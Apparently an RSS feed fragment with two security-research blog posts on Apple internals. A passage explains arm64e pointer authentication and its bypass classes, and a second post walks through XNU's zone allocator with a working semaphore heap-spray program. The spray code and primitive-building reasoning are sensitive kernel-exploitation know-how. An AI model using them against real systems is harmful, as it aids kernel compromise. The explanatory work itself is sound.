<p>What happens on failure changed over time. ARMv8.3 as originally specified does not fault. It strips the pointer and writes a two-bit error code, the key number followed by its complement, so an A key leaves <code>01</code> and a B key <code>10</code>. The pair sits in bits 62 and 61 when top-byte-ignore is off for that kind of pointer and in bits 54 and 53 when it is on, and either way the address is non-canonical, so the <em>next</em> dereference takes a translation fault. <code>FEAT_FPAC</code> moves the fault to the <code>AUT</code> instruction itself, and <code>FEAT_FPACCOMBINE</code> extends that to the fused forms, the single instructions that authenticate and then branch or load. Those are cumulative feature levels, so a chip either stops at one of them or implements the next. This Mac reports:</p>
<pre><code>sysctl hw.optional.arm | grep -i 'pauth\|fpac\|pac'
hw.optional.arm.FEAT_PACIMP: 1
hw.optional.arm.FEAT_PAuth: 1
hw.optional.arm.FEAT_PAuth2: 1
hw.optional.arm.FEAT_FPAC: 1
hw.optional.arm.FEAT_FPACCOMBINE: 0
</code></pre>
<p><code>FEAT_PAuth2</code> is the ARMv8.6 revision of the base feature and <code>FEAT_FPAC</code> is built on top of it, so a standalone <code>autia</code> that fails traps on the spot here, which the hands-on below runs into. The fused instructions do not, because <code>FEAT_FPACCOMBINE</code> is off: a failed authentication inside one of those still produces a poisoned pointer and faults later, when the branch or the load is taken.</p>
<p>Those fused forms are where most of the signing actually happens: <code>retab</code> authenticates the link register and returns, <code>braa</code> and <code>blraa</code> authenticate and branch, <code>ldraa</code> authenticates and loads.</p>
<h2 id="five-keys-and-a-modifier">Five keys and a modifier</h2>
<p>Five 128-bit keys feed those instructions: <strong>IA</strong> and <strong>IB</strong> for instruction pointers, <strong>DA</strong> and <strong>DB</strong> for data pointers, and <strong>GA</strong> for <code>pacga</code>. They live in system registers that only privileged code can read or write, and that is the property everything else rests on. Stated in the terms of the last two posts: arbitrary read of your own address space does not reach them, and neither does arbitrary read of kernel memory, because they are not memory.</p>
<p>arm64e divides them by purpose. Apple&rsquo;s ABI documentation calls the A keys process-independent and uses them for the global things, vtables and function pointers. The B keys are local: return addresses and frame pointers. Return addresses matter enough that IB is, in the documentation&rsquo;s words, &ldquo;almost entirely reserved for this purpose&rdquo;, which is why the disassembly below shows <code>pacibsp</code> and <code>retab</code> and not the A-key spellings.</p>
<p>The second operand is the modifier, also called the discriminator. The code is computed from key, address and modifier together, so one address signed under two modifiers yields two unrelated signatures, and a signature computed at one site does not authenticate at another. arm64e builds a modifier from two inputs: the address at which the pointer is stored, which gives address diversity, and a 16-bit constant, which gives constant diversity. Blending a constant into an address replaces the top 16 bits of that address. The constant itself is usually derived from a name: <code>ptrauth_string_discriminator</code> runs SipHash-2-4 over a string and folds the result into the 16-bit range, so a field can be diversified by what it is called.</p>
<p>Return-oriented programming is the case that shows why both halves are needed. A ROP chain is a stack full of addresses: overwrite the saved return address of the function you are in, and every <code>ret</code> afterwards pops the next entry of your list into the program counter, so the program runs your gadgets in your order. On arm64e that function signed its return address on entry with <code>pacibsp</code> and checks it on the way out with <code>retab</code>, and the key and the modifier each take away a different way of filling that list.</p>
<p>The key takes away forging. You cannot compute the code for the address of a gadget, because computing it needs a value held in a system register.</p>
<p>The modifier takes away reuse. If return addresses were signed with the key alone, every one of them in the process would carry an interchangeable signature, and a single valid one, read out of any stack frame with the read primitive you already have, would authenticate in every frame, with nothing forged. Because the modifier is the stack pointer on entry, a signed return address is valid at one stack depth and nowhere else, so a chain of ten gadgets needs ten valid signatures at ten specific values of SP. The gap that leaves is exact: two frames that do sit at the same depth share a modifier, and that is what the reuse attacks at the end of this post look for.</p>
<p>The algorithm computing the code is not public. ARM specifies QARMA, a family of lightweight tweakable block ciphers, as one algorithm an implementation may use, and permits an implementation-defined one instead. <code>FEAT_PACIMP: 1</code> in the output above, with no QARMA variant listed beside it, is Apple saying it uses its own.</p>
<p>Key diversification is per task, and the A and B keys do not get it the same way. XNU takes a task&rsquo;s <code>jop_pid</code>, the diversifier behind the A keys, from its shared region, so every process on the same shared cache gets the same value, while <code>rop_pid</code>, behind the B keys, is drawn per task from <code>early_random()</code>. A task that is not arm64e runs with user PAC switched off entirely: <code>bsd/kern/kern_exec.c</code> flags the image <code>IMGPF_NOJOP</code>, and <code>bsd/kern/mach_loader.c</code> then creates its address space with <code>PMAP_CREATE_DISABLE_JOP</code>. Azad&rsquo;s 2019 work found userspace threads carrying random key seeds while kernel threads shared a constant one. He could not work out the real implementation, so he assumed the most robust design for the rest of that research: that the true keys are random and held in the SoC itself.</p>
<h2 id="what-apple-signs">What Apple signs</h2>
<p>arm64e shipped with the A12 in 2018, and with the M1 on the Mac, and it covers everything Apple builds: the kernel, the dyld shared cache (the single image every system library is merged into), the system binaries. It is not what your own code gets. The program below is arm64e only because I passed <code>-arch arm64e</code>, and macOS gates even that: <code>bsd/kern/kern_exec.c</code> refuses to exec a non-platform arm64e binary stamped with ptrauth ABI version 0, the preview ABI, unless the <code>-arm64e_preview_abi</code> boot argument is set. Current clang stamps a later version, which <code>otool -hv</code> on the binary shows as <code>USR01</code>, so it runs with nothing special enabled.</p>
<p>Inside a process, the ABI signs:</p>
<ul>
<li><strong>Return addresses</strong>, key IB, modifier is the stack pointer on entry.</li>
<li><strong>Function pointers</strong>, key IA, no modifier, the weakest schema in the ABI and the other end of the scale from a return address, which is why an indirect call through a C function pointer compiles to <code>blraaz</code>, the zero-modifier form.</li>
<li><strong>C++ virtual functions</strong>, with a discriminator derived from the method&rsquo;s name and signature, so an entry cannot be lifted from one slot or one class into another.</li>
<li><strong>Objective-C <code>isa</code> pointers</strong>, the field naming an object&rsquo;s class, which objc4 signs with the DA key, blending the object&rsquo;s own address with the constant <code>0x6AE1</code>, annotated in <code>objc-config.h</code> as <code>ptrauth_string_discriminator("isa")</code>.</li>
</ul>
<p>Two of those entries are younger than arm64e itself. The <code>isa</code> was not signed at all on the first arm64e devices: the objc4 that shipped with macOS 10.15 has neither <code>ISA_SIGNING_KEY</code> nor <code>ExtractISA</code>, and Apple&rsquo;s 2019 ABI document said outright that pointer authentication could not protect it. Both arrive in objc4-818.2, which ships in macOS 11.0.1 and iOS 14, so on an A12 running iOS 13 a write primitive could still point an object at a class of its choosing, and on the same phone running iOS 14 it could not. XNU moved in the same release: <code>jop_pid</code> appears nowhere in xnu-6153, the iOS 13 kernel, which diversifies <code>rop_pid</code> and nothing else, so until iOS 14 every arm64e process on the device signed A-key pointers under one set of keys, and a signature made in one process authenticated in another.</p>
<p>The kernel signs the same way, and its discriminators are worth reading because they show what the mechanism is for. This one guards the label pointer in a Mach port&rsquo;s header, in <code>osfmk/ipc/ipc_object.h</code>:</p>
<pre><code class="language-c">label.iol_pointer = ptrauth_auth_data(label.iol_pointer,
    ptrauth_key_process_independent_data,
    ptrauth_blend_discriminator(io, (uint32_t)(label.io_bits +
    ptrauth_string_discriminator(&quot;ipc_object.iol_pointer&quot;))));
</code></pre>
<p>Three things go into that modifier: the address of the object, the object&rsquo;s <code>io_bits</code>, which is the field carrying its type, and a hash of the field&rsquo;s own name. The pointer therefore authenticates only in that field, of an object of that type, at that address. Copying a validly signed label pointer out of one port and into another fails. Rewriting <code>io_bits</code> on a port that carries a label breaks that label&rsquo;s pointer too, because the type bits are an input to the signature over the pointer sitting beside them. Setting <code>io_bits</code> by hand is the first half of the fake-port move in <a href="/blog/xnu-under-the-hood/">the XNU post</a>, and this is the kind of coupling that makes it expensive.</p>
<p>The zone allocator accounts for PAC too. The type signature <code>kalloc_type</code> computes, the one from the last post that decides which zone a struct is allocated from, has a granule value for it: <code>KT_GRANULE_PAC</code>, documented in <code>osfmk/kern/kalloc.h</code> as &ldquo;represents a pointer which is subject to PAC&rdquo;. Two structs of the same size differing only in whether a field is signed get different signatures, and therefore different signature groups.</p>
<h2 id="hands-on-watching-a-pointer-get-signed">Hands-on: watching a pointer get signed</h2>
<p>Start with one function that exercises two of the things arm64e signs: it calls through a function pointer, and it is not a leaf, so it has to save a return address.</p>
<pre><code class="language-c">// t.c
int call_it(int (*fn)(int), int x)
{
    return fn(x) + 1;
}
</code></pre>
<p>Build it twice, for the two ABIs, and disassemble both:</p>
<pre><code class="language-bash">clang -O2 -arch arm64  -c t.c -o a64.o
clang -O2 -arch arm64e -c t.c -o a64e.o
otool -tv a64.o
otool -tv a64e.o
</code></pre>
<pre><code>a64.o:
(__TEXT,__text) section
_call_it:
0000000000000000    stp    x29, x30, [sp, #-0x10]!
0000000000000004    mov    x29, sp
0000000000000008    mov    x8, x0
000000000000000c    mov    x0, x1
0000000000000010    blr    x8
0000000000000014    add    w0, w0, #0x1
0000000000000018    ldp    x29, x30, [sp], #0x10
000000000000001c    ret

a64e.o:
(__TEXT,__text) section
_call_it:
0000000000000000    pacibsp
0000000000000004    stp    x29, x30, [sp, #-0x10]!
0000000000000008    mov    x29, sp
000000000000000c    mov    x8, x0
0000000000000010    mov    x0, x1
0000000000000014    blraaz    x8
0000000000000018    add    w0, w0, #0x1
000000000000001c    ldp    x29, x30, [sp], #0x10
0000000000000020    retab
</code></pre>
<p>Same C, one extra instruction, two changed. <code>pacibsp</code> signs the link register with key IB against the stack pointer before it is spilled, <code>retab</code> authenticates it against the same stack pointer before returning, and the plain <code>blr</code> became <code>blraaz</code>: authenticate with key IA and a zero modifier, then call.</p>
<p>The second program prints the field itself, by signing a pointer by hand:</p>
<pre><code class="language-c">// pac.c
#include &lt;stdio.h&gt;
#include &lt;stdint.h&gt;

int main(void)
{
    uint64_t as_compiled = (uint64_t)(uintptr_t)main;
    uint64_t bare = as_compiled;
    __asm__ volatile(&quot;xpaci %0&quot; : &quot;+r&quot;(bare));

    uint64_t a = bare, b = bare, c;
    __asm__ volatile(&quot;pacia %0, %1&quot; : &quot;+r&quot;(a) : &quot;r&quot;((uint64_t)0));
    __asm__ volatile(&quot;pacia %0, %1&quot; : &quot;+r&quot;(b) : &quot;r&quot;((uint64_t)1));
    c = a;
    __asm__ volatile(&quot;autia %0, %1&quot; : &quot;+r&quot;(c) : &quot;r&quot;((uint64_t)0));

    printf(&quot;&amp;main as compiled   0x%016llx\n&quot;, as_compiled);
    printf(&quot;xpaci               0x%016llx\n&quot;, bare);
    printf(&quot;pacia, modifier 0   0x%016llx\n&quot;, a);
    printf(&quot;pacia, modifier 1   0x%016llx\n&quot;, b);
    printf(&quot;autia, modifier 0   0x%016llx\n&quot;, c);
    fflush(stdout);

    uint64_t d = a;
    __asm__ volatile(&quot;autia %0, %1&quot; : &quot;+r&quot;(d) : &quot;r&quot;((uint64_t)1));
    printf(&quot;autia, modifier 1   0x%016llx\n&quot;, d);
    return 0;
}
</code></pre>
<pre><code class="language-bash">clang -O0 -arch arm64e pac.c -o pac &amp;&amp; ./pac
</code></pre>
<pre><code>&amp;main as compiled   0x0e550001041404b0
xpaci               0x00000001041404b0
pacia, modifier 0   0x0e550001041404b0
pacia, modifier 1   0x0d7d8001041404b0
autia, modifier 0   0x00000001041404b0
[1]    19332 bus error  ./pac
</code></pre>
<p>Six lines, and every one of them is a claim from earlier in this post.</p>
<p>The address of <code>main</code> <strong>arrives already signed</strong>. Nothing in the program asked for that; taking the address of a function under arm64e produces a signed pointer, and <code>xpaci</code> on the next line gives the bare <code>0x00000001041404b0</code>.</p>
<p>Line three is identical to line one. Signing the bare address with key IA and a zero modifier reproduces, bit for bit, what the toolchain put there, which is the same schema <code>blraaz</code> authenticates against in the disassembly above.</p>
<p>Line four is the same address under modifier 1, and the signature over it is unrelated. Lay the two side by side and the field boundaries fall out:</p>
<table>
<thead>
<tr>
<th></th>
<th>bits 63:56</th>
<th>bits 55:48</th>
<th>bit 47</th>
<th>bits 46:0</th>
</tr>
</thead>
<tbody>
<tr>
<td>modifier 0</td>
<td><code>0e</code></td>
<td><code>0101 0101</code></td>
<td><code>0</code></td>
<td><code>0x1041404b0</code></td>
</tr>
<tr>
<td>modifier 1</td>
<td><code>0d</code></td>
<td><code>0111 1101</code></td>
<td><code>1</code></td>
<td><code>0x1041404b0</code></td>
</tr>
</tbody>
</table>
<p>The top byte is signature. So is bit 47, which flips between the two runs while the address under it does not move. And <strong>bit 55, the leading bit of the middle column, is zero in both</strong>, preserved exactly as the diagram said, because this is a user pointer. Eight bits plus seven bits plus one: sixteen bits of signature. One flipped bit of the modifier recomputed the whole code, and five of those sixteen bits came out different, spread across all three pieces of the field.</p>
<p>Line five authenticates with the correct modifier and gets the bare address back. Then the last line asks for the same pointer under the wrong modifier, and the process takes a bus error before <code>printf</code> is ever reached. Nothing was dereferenced, so that fault is the <code>autia</code> instruction itself refusing: <code>FEAT_FPAC</code>, measured rather than assumed.</p>
<p>One last run, the same file built for plain arm64:</p>
<pre><code class="language-bash">clang -O0 -arch arm64 pac.c -o pac-a64 &amp;&amp; ./pac-a64
</code></pre>
<pre><code>&amp;main as compiled   0x0000000102918460
xpaci               0x0000000102918460
pacia, modifier 0   0x0000000102918460
pacia, modifier 1   0x0000000102918460
autia, modifier 0   0x0000000102918460
autia, modifier 1   0x0000000102918460
</code></pre>
<p>Six identical lines, and no crash at the end. The address moved because this is a different binary and the loader relocates it, but nothing else happened at all: no signature on the way in, nothing to strip, nothing to fail. The instructions are still in the binary and the CPU still executes them, and they do nothing, because the keys are off for a task that is not arm64e, which is <code>PMAP_CREATE_DISABLE_JOP</code> taking effect. PAC is a property of the ABI a process was built for, not of the silicon it runs on.</p>
<h2 id="where-the-attacks-live">Where the attacks live</h2>
<p>Two posts on this blog arrive at this instruction from opposite ends. <a href="/blog/exploiting-javascript-engines/">The JavaScript engine post</a> reaches arbitrary read and write inside a renderer; the last post reaches arbitrary read and write in the kernel. Both then want to point something at code of their choosing, and on arm64e both find that pointer signed.</p>
<p>Sixteen bits is 65536 possibilities, which is not much, and Apple&rsquo;s ABI documentation says so itself. The raw pointer bits are already known, so the only unknown is the signature, and an authentication oracle &ldquo;can make it computationally feasible to discover the correct signature with brute force&rdquo;. A wrong guess kills the process, and that is what normally prevents it.</p>
<p>Signing oracles and signing gadgets skip the guessing. If the target can be persuaded to sign a pointer you influence, or if there is reachable code that signs attacker-controlled data, the key is used on your behalf and never read.</p>
<p>Reuse needs no forgery at all. Two sites that share a key and a modifier accept each other&rsquo;s signatures, so a validly signed pointer copied from one to the other is just a memory write. This is what the discriminators in the previous section defend against, and it is why XNU folds an object&rsquo;s type bits and a field name into one 16-bit constant and blends that constant with the object&rsquo;s address.</p>
<p>The zero-modifier case is where that defence is absent, and Clang&rsquo;s documentation is blunt about it: the implementation &ldquo;uses the exact same signing schema for all C function pointers, even for functions of substantially different type&rdquo;, and it cannot do better, because &ldquo;the C standard requires function pointers to be copyable with <code>memcpy</code>, which means that function pointers can never use address diversity&rdquo;. Key IA and a zero modifier for every one of them, which is the <code>blraaz</code> in the disassembly above. Any signed C function pointer in the process authenticates in the slot of any other, so overwriting one with another is a plain memory write onto a target that expects a signed value and gets one.</p>
<p>PACMAN, from MIT in 2022, went after the crash rather than the signature. It requires an existing memory-corruption bug and a code sequence that uses a signed pointer speculatively; the guess is tested inside speculative execution, where a wrong answer is rolled back instead of faulting, and the verdict is read back with a prime-and-probe on the TLB, the CPU&rsquo;s cache of address translations. It was demonstrated on the M1, and the authors are explicit that it is an exploitation technique rather than a standalone compromise.</p>
<p>The last shape is not an attack on PAC. If control flow is the expensive part, do not use control flow. That is what the device-number swap at the end of the last post does, and a signature never enters into it.</p>
<h2 id="state-in-2026">State in 2026</h2>
<p><strong>arm64e (A12 and later, and Apple silicon Macs).</strong> Every Apple binary and the kernel are built for it. A binary you build is arm64 unless you ask otherwise, and it then runs with the keys disabled, as the last hands-on shows.</p>
<p><strong>The fault moved to the instruction.</strong> <code>FEAT_FPAC</code> arrived with the A15 and the M2, so on those cores a failed standalone authentication is an immediate, precise crash instead of a poisoned pointer that dies somewhere later. The A12 through A14, and the M1, still poison the pointer instead. <code>FEAT_FPACCOMBINE</code> is not implemented on this Mac, so the fused forms keep the older behaviour.</p>
<p><strong>What a successful call would buy has shrunk.</strong> On A15 and later, M2 and later, and every Apple silicon Mac but the base M1, from iOS 17 and macOS 14, the page tables and the code-signing state moved behind the Secure Page Table Monitor and the Trusted Execution Monitor. Diverting execution inside the kernel no longer reaches them.</p>
<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>PAC fixes no bug. The overflow still overflows, the dangling page-table entry from the last post still dangles, and every byte of memory those primitives could reach before, they still reach. It removes the step that used to connect them to the program counter, and it removes it with a secret that is not stored anywhere an attacker can read. The engineering is all in the other operand: the keys are a fixed, small set, so the work went into making sure a signature means something only in the exact field, in the exact object, at the exact address where it was created.</p>
<p>This post cannot tell you what a bypass is worth today. Everything above except the last paragraph aims at one thing, a branch to an address the attacker chose, and on current hardware that branch lands in a kernel that no longer controls the two things a jailbreak needs: the page tables and the trust cache both sit behind monitors that the kernel, running at EL1, cannot write through. Those monitors, and the memory tagging that arrived beside them, are the next post.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything here is drawn from open source, vendor documentation, published research, and a Mac running a stock, unmodified macOS.</p>
<ul>
<li>ARM, <a href="https://developer.arm.com/documentation/ddi0487/latest/">the <em>Arm Architecture Reference Manual for A-profile architecture</em></a> (DDI 0487), for the <code>PAC</code> and <code>AUT</code> instruction behaviour, the two-bit error code written on a failed authentication, the <code>FEAT_PAuth2</code>, <code>FEAT_FPAC</code> and <code>FEAT_FPACCOMBINE</code> feature levels, and QARMA as one permitted algorithm beside an implementation-defined one.</li>
<li>Apple, <a href="https://github.com/swiftlang/llvm-project/blob/apple/main/clang/docs/PointerAuthentication.rst">the arm64e pointer authentication ABI</a>, Clang&rsquo;s own specification: the key assignments (A keys global, B keys local, IB reserved for return addresses), the definitions of address and constant diversity, the 16-bit range for constant discriminators, the SipHash-2-4 string discriminator, and the brute-force analysis quoted in the attacks section.</li>
<li>Brandon Azad, <a href="https://projectzero.google/2019/02/examining-pointer-authentication-on.html">Examining Pointer Authentication on the iPhone XS</a> (Project Zero, 2019), for the measured PAC mask, the per-process key seeds, and the assumption he adopted for the rest of that research, that the key material originates in the SoC.</li>
<li>Apple, <a href="https://github.com/apple-oss-distributions/xnu">XNU source</a>: <code>osfmk/ipc/ipc_object.h</code> for the port label discriminator quoted above, <code>osfmk/kern/kalloc.h</code> for <code>KT_GRANULE_PAC</code>, <code>bsd/kern/kern_exec.c</code> for the arm64e preview-ABI gate and the <code>IMGPF_NOJOP</code> flag, <code>bsd/kern/mach_loader.c</code> for <code>PMAP_CREATE_DISABLE_JOP</code>, <code>osfmk/arm/machine_routines.h</code> for the per-task JOP controls.</li>
<li>Apple, <a href="https://github.com/apple-oss-distributions/objc4">objc4 source</a>: <code>runtime/objc-config.h</code> for <code>ISA_SIGNING_KEY</code> and the <code>0x6AE1</code> isa discriminator, <code>runtime/objc-object.h</code> for where they are applied.</li>
<li>Joseph Ravichandran, Weon Taek Na, Jay Lang and Mengjia Yan, <a href="https://pacmanattack.com/">PACMAN</a> (MIT CSAIL, 2022), for the speculative side channel, the gadget it requires, and the affected cores.</li>
</ul>]]></description>
    </item>
    <item>
      <title>Apple internals #7: The zone allocator up close</title>
      <link>https://sigreturn.com/blog/zone-allocator/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/zone-allocator/</guid>
      <pubDate>Sat, 18 Jul 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>macos</category>
      <category>xnu</category>
      <category>exploitation</category>
      <category>kalloc-type</category>
      <category>puaf</category>
      <description><![CDATA[<p><a href="/blog/mach-mig-xpc/">The previous post</a> ended on a service doing its job for the wrong caller. That buys a more privileged userland context and never touches kernel memory. This one starts with a bug that does corrupt kernel memory.</p>
<p>A heap overflow writes past the end of your object and into whatever the allocator put next; a use-after-free hands you an object that something else now owns. The bug is the cheap part in both cases. The work is deciding what the kernel puts next to it, or into it, and since iOS 15 the allocator has been redesigned to make that decision unavailable.</p>
<div class="admonition note">
<p>Everything here is public: Apple&rsquo;s open-source XNU, Apple&rsquo;s own advisories, and published exploits. The vulnerability walked in detail, CVE-2023-23536, was fixed in iOS 16.4 and macOS 13.3 in March 2023, and its exploit has been open source since. Nothing below is private or unpatched.</p>
</div>
<h2 id="from-a-bug-to-a-primitive">From a bug to a primitive</h2>
<p>A <strong>primitive</strong> is a repeatable operation with an interface: inputs you choose, an effect you can predict, and no panic afterwards. A bug is one event with an outcome you mostly do not control, usually a write of the wrong size in the wrong place, or a reference to memory that has been freed. Between the two is that bug applied to a victim object you chose, so that one field of that object now holds a value you picked. At the end is <em>arbitrary read and write</em>, <code>KRKW</code> in kfd&rsquo;s vocabulary, for kernel read and kernel write: fetch or store bytes at any kernel address you name, repeatedly, without disturbing anything else.</p>
<p>That last stage used to have a fixed shape and a name. <code>tfp0</code>, from <code>task_for_pid(0)</code>, a send right to the kernel&rsquo;s own task port, gave the kernel&rsquo;s address space through the same Mach calls that work on any other process. Apple closed the userland route to it, chains moved to forging a fake <code>ipc_port</code> in memory they controlled, and the answer was a provenance check: <code>zone_id_require_aligned(ZONE_ID_IPC_PORT, port)</code> in <code>osfmk/ipc/ipc_port.c</code> verifies that a pointer being treated as a port really came from the zone ports come from. You build a read and a write, then spend them on something specific.</p>
<h2 id="the-zone-allocator">The zone allocator</h2>
<p>Kernel heap objects come from <code>zalloc</code>. A zone owns a set of pages carved into equal-size elements and hands them out one at a time; <code>kalloc(size)</code> routes to the zone whose element size fits, or straight to the VM, the virtual memory subsystem, when the size is above the largest class. For a reader coming from Linux, a zone is a slab cache and <code>kalloc.64</code> is <code>kmalloc-64</code>.</p>
<p>Two details decide what can be done with a freed element.</p>
<p>The first is where the free list lives, which is not inside the freed elements. Each run of zone pages has a <code>struct zone_page_metadata</code>, sixteen bytes, held in a separate array indexed by page, and the free elements are tracked in a bitmap field inside it (<code>osfmk/kern/zalloc.c</code>). There is no next pointer sitting in a freed element for an overflow to reach, which removes the entire family of free-list corruption techniques.</p>
<p>The second is sequestering. When zone garbage collection reclaims the physical pages under a chunk, the virtual address range stays assigned to that zone (<code>z_pageq_va</code>, <code>zone_submap_is_sequestered()</code>). A virtual address that has held an <code>ipc_port</code> will not later hold something else.</p>
<p>So the move is always the same: free the victim, get the kernel to allocate an object you control into the slot it left behind, and a field you can drive now sits where a field the kernel trusts used to be. The question is which objects are allowed into that slot.</p>
<h2 id="kalloc_type-or-why-the-same-size-is-not-enough">kalloc_type, or why the same size is not enough</h2>
<p>Before iOS 15, the answer was &ldquo;anything of the same size&rdquo;. Every 64-byte <code>kalloc()</code> came from one <code>kalloc.64</code> zone, so a freed 64-byte victim could be replaced by any 64-byte object you knew how to allocate on demand. That is the technique <code>kalloc_type</code> was built to end.</p>
<p>Each allocation site in XNU now compiles to a <strong>view</strong>: a record in the <code>__DATA_CONST,__kalloc_type</code> section naming the type, carrying its size, and carrying a signature computed at compile time by <code>__builtin_xnu_type_signature</code>. The signature describes the type&rsquo;s layout one eight-byte granule at a time, and <code>osfmk/kern/kalloc.h</code> lists the alphabet:</p>
<pre><code class="language-c">    KT_GRANULE_PADDING = 0,
    KT_GRANULE_POINTER = 1,
    KT_GRANULE_DATA    = 2,
    KT_GRANULE_DUAL    = 4,
    KT_GRANULE_PAC     = 8
</code></pre>
<p>Two structures of identical size whose pointers sit in different places have different signatures, and that is the entire idea.</p>
<p>At boot, the views are sorted by signature, collapsed into groups, and spread across zones named by one line in <code>osfmk/kern/kalloc.c</code>:</p>
<pre><code class="language-c">        snprintf(z_name, MAX_ZONE_NAME, &quot;kalloc.type%u.%zu&quot;, i,
</code></pre>
<p>which is where a name like <code>kalloc.type3.48</code> comes from: bucket 3 of the 48-byte size class. The distribution is shuffled with <code>kmem_shuffle()</code> and the hash seeded from <code>early_random()</code>, so a type&rsquo;s zone is fixed for one boot and different on the next. Allocations that contain no pointers at all go to a separate heap, <code>data.kalloc.N</code>, which never mixes with anything holding a pointer.</p>
<p>The replacement object now has to match the victim on size class and land in the same bucket on this boot. Only a type in the victim&rsquo;s signature group is guaranteed to land there every boot. Apple published the arithmetic using SockPuppet, Ned Williamson&rsquo;s 2019 bug, as the worked example: in the boot they analysed, its victim object <code>ip6_pktopts</code> landed in a bucket with ten other types, and a single replacement type gives an <strong>8%</strong> success rate. Roughly fifteen separate replacement strategies would be needed to reach 75%, and an exploit implementing all 26 candidate types is still capped near <strong>92%</strong>, because on some boots the bucket contains nothing useful at all.</p>
<h2 id="hands-on-watching-a-spray-land">Hands-on: watching a spray land</h2>
<p>None of that needs a device or a debugger to see. macOS ships <code>zprint</code>, which reads the live zone map, and <code>sudo</code> is enough. Everything below was run on macOS 26.4.1 (build 25E253) on Apple Silicon, with System Integrity Protection on.</p>
<p>The columns first, then every zone whose elements are 16 bytes:</p>
<pre><code>$ zprint | head -3
                            elem         cur         max        cur         max         cur  alloc  alloc
zone name                   size        size        size      #elts       #elts       inuse   size  count
-------------------------------------------------------------------------------------------------------------

$ sudo zprint | awk '$1 ~ /^(kalloc\.type[0-9]+|data\.kalloc)\.16$/'
data.kalloc.16                16      10016K      10016K     641024      641024      491192    16K   1024  C
kalloc.type0.16               16        288K        288K      18432       18432        8031    16K   1024  C
kalloc.type1.16               16         32K         32K       2048        2048        1780    16K   1024  C
kalloc.type2.16               16        400K        432K      25600       27648       12851    16K   1024  C
kalloc.type3.16               16         16K         16K       1024        1024           6    16K   1024  C
kalloc.type4.16               16        144K        144K       9216        9216        8636    16K   1024  C
kalloc.type5.16               16         16K         16K       1024        1024           0    16K   1024  C
kalloc.type6.16               16         16K         16K       1024        1024           0    16K   1024  C
</code></pre>
<p>Seven zones, one element size, plus the pointer-free heap. Across all size classes this machine has 260 of them, and the flat <code>kalloc.N</code> zones are gone entirely:</p>
<pre><code>$ sudo zprint | awk '$1 ~ /^kalloc\.type[0-9]+\.[0-9]+$/' | wc -l
     260
$ sudo zprint | awk '$1 ~ /^kalloc\.[0-9]+$/'
$
</code></pre>
<p><code>bsd/kern/posix_sem.c</code> allocates three types through <code>kalloc_type()</code> on the way through <code>sem_open()</code>, so a POSIX semaphore is a spray any process can drive with no privilege at all. Thirty-six lines:</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;semaphore.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/resource.h&gt;

int main(int argc, char **argv)
{
        int n = (argc &gt; 1) ? atoi(argv[1]) : 4000;
        struct rlimit rl;

        getrlimit(RLIMIT_NOFILE, &amp;rl);
        rl.rlim_cur = rl.rlim_max;
        if (setrlimit(RLIMIT_NOFILE, &amp;rl) != 0) {
                rl.rlim_cur = 10240;
                setrlimit(RLIMIT_NOFILE, &amp;rl);
        }

        int made = 0;
        for (int i = 0; i &lt; n; i++) {
                char name[32];
                snprintf(name, sizeof(name), &quot;/kt%d&quot;, i);
                sem_t *s = sem_open(name, O_CREAT | O_EXCL, 0600, 1);
                if (s == SEM_FAILED) {
                        perror(&quot;sem_open&quot;);
                        break;
                }
                sem_unlink(name);       /* release the name, keep the object */
                made++;
        }
        printf(&quot;%d semaphores alive, holding for 30s\n&quot;, made);
        fflush(stdout);
        sleep(30);
        return 0;
}
</code></pre>
<p><code>sem_unlink()</code> immediately after <code>sem_open()</code> is the interesting line. It decrements the use count and drops the name, but the <code>pseminfo</code> survives as long as a descriptor refers to it, so the allocations stay alive while nothing is left behind in the global namespace.</p>
<p>Snapshot the zones, run it, snapshot again, print the zones whose line changed:</p>
<pre><code>$ sudo zprint &gt; /tmp/z-before.txt
$ /tmp/spray 4000 &amp; sleep 3 &amp;&amp; sudo zprint &gt; /tmp/z-after.txt
4000 semaphores alive, holding for 30s

$ awk 'NR==FNR{a[$1]=$0;next} ($1 in a) &amp;&amp; a[$1]!=$0 {print &quot;- &quot;a[$1]; print &quot;+ &quot;$0}' \
      /tmp/z-before.txt /tmp/z-after.txt |
  grep -E 'fileproc|kalloc\.type6\.16|kalloc\.type0\.96|kalloc\.type0\.16|kalloc\.type2\.16'
- fileproc                      32        336K        368K      10752       11776        6330    16K    512  C
+ fileproc                      32        336K        368K      10752       11776       10348    16K    512  C
- kalloc.type0.16               16        288K        288K      18432       18432        8031    16K   1024  C
+ kalloc.type0.16               16        288K        288K      18432       18432        8028    16K   1024  C
- kalloc.type2.16               16        400K        432K      25600       27648       12851    16K   1024  C
+ kalloc.type2.16               16        400K        432K      25600       27648       12829    16K   1024  C
- kalloc.type6.16               16         16K         16K       1024        1024           0    16K   1024  C
+ kalloc.type6.16               16         64K         64K       4096        4096        4000    16K   1024  C
- kalloc.type0.96               96         16K        944K        170       10069          76    16K    170  C
+ kalloc.type0.96               96        384K        944K       4096       10069        4076    16K    170  C
</code></pre>
<p>Read the <code>cur inuse</code> column, the seventh. <code>kalloc.type6.16</code> went from <strong>0 to 4000</strong>, and the zone had to grow from 16K to 64K to take them. <code>kalloc.type0.96</code> went from 76 to <strong>4076</strong>. <code>fileproc</code>, which has its own dedicated zone rather than a shared one, went up by just over 4000 as each semaphore took a descriptor. Those are <code>struct psemnode</code>, eight bytes and therefore in the 16-byte class, <code>struct pseminfo</code> in the 96-byte class, and <code>struct fileproc</code>, the descriptor entry itself.</p>
<p>The two neighbours are the point. <code>kalloc.type0.16</code> and <code>kalloc.type2.16</code> hold 16-byte elements exactly like <code>kalloc.type6.16</code>, they are busy zones with thousands of live objects, and across the spray they moved by three and by twenty-two, downward in both cases, which is ordinary system noise. Four thousand objects went into one zone and were invisible to its same-size neighbours. Before iOS 15 all three of those zones were one zone.</p>
